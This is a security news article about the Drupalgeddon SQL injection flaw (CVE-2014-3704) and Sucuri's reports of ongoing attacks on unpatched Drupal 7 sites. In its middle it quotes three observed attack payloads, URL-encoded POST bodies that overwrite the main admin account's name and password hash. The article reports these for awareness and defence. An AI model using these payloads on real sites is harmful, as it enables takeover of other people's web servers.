It was October 2014, when Drupal patched a critical SQL injection vulnerability (CVE-2014-3704) that was affecting all Drupal core 7.x versions up to the recently-released 7.32 version, which fixed the issue. The patch issued by Drupal fixed the critical SQL injection vulnerability flaw that could be exploited by threat actors to do a dump of the database used by the targeted site, without needing an account or tricking a user into exposing credentials.
Due to its impact, the CVE-2014-3704 flaw was dubbed by the experts “Drupalgeddon.” You are thinking why I’m telling about an old flaw, 19 months later, and the answer is simple.
Even today, there are many websites that are still affected by the vulnerability, also a portal of the Mossack Fonseca was plagued by this security flaw.
The experts from Sucuri firm have been monitoring attacks on Drupal based websites leveraging on the CVE-2014-3704 flaw. According to Sucuri observed, thousands of websites were compromised in the months after the disclosure of the flaw (October and November 2014), but the most worrisome news is that the cyber attacks remained consistent throughout 2015 and 2016.
“After the initial attacks in October and November of 2014, the attacks dropped and remained consistent through 2016. If someone had not patched, they are surely compromised now.” states Sucuri in a blog post.
In the vast majority of attacks observed by Sucuri, hackers have exploited the CVE-2014-3704 vulnerability to create new admin accounts on Drupal websites, below attacks trying to force a new admin with names Derevos, Holako and Mr.R00t2_404,respectively.
“Most attacks leverage the SQL injection vulnerability to create a new admin user with injections like the following:”
name[0%20;update+users+set+name%3d%27derevos%27,+pass%3d%27$S$CTo9G7Lx2mQZv/dfetGZcq7 e1cVNpFpTRdZ8EckF/d6BnrMPZ/Ce%27+where+uid%3d%271%27;;#%20%20]=bob&name[0]=test&pass=shit2&test2=test
Example 2:
name[0;update users set name %3D 'HolaKo' , pass %3D '%24S%24DrV4X74wt6bT3BhJa4X0.XO5bHXl%2FQBnFkdDkYSHj3cE1Z5clGwu' where uid %3D '1';#]=test3&name[]=Crap&pass=test&test2=test
Example 3:
POSTLOG:name[0;update users set name %3D 'Mr.R00t2_404' , pass %3D '%24S%24DrV4X74wt6bT3BhJa4X0.XO5bHXl%2FQBnFkdDkYSHj3cE1Z5clGwu',status %3D'1' where uid %3D '1';#]=test3&name[]=Crap&pass=test&test2=test
The experts from Sucuri are warning of a significant increase in SEO spam attacks against Drupal 7 websites.
[adrotate banner=”9″] | [adrotate banner=”12″] |
(Security Affairs – Drupal, CVE-2014-3704)
[adrotate banner=”5″]
[adrotate banner=”13″]
An international law enforcement operation led to the disruption of the prominent phishing-as-a-service platform LabHost.…
Russia-linked APT Sandworm employed a previously undocumented backdoor called Kapeka in attacks against Eastern Europe since…
Cisco has addressed a high-severity vulnerability in its Integrated Management Controller (IMC) for which publicly…
Threat actors are exploiting the CVE-2023-22518 flaw in Atlassian servers to deploy a Linux variant of…
Ivanti addressed two critical vulnerabilities in its Avalanche mobile device management (MDM) solution, that can…
Researchers released an exploit code for the actively exploited vulnerability CVE-2024-3400 in Palo Alto Networks'…
This website uses cookies.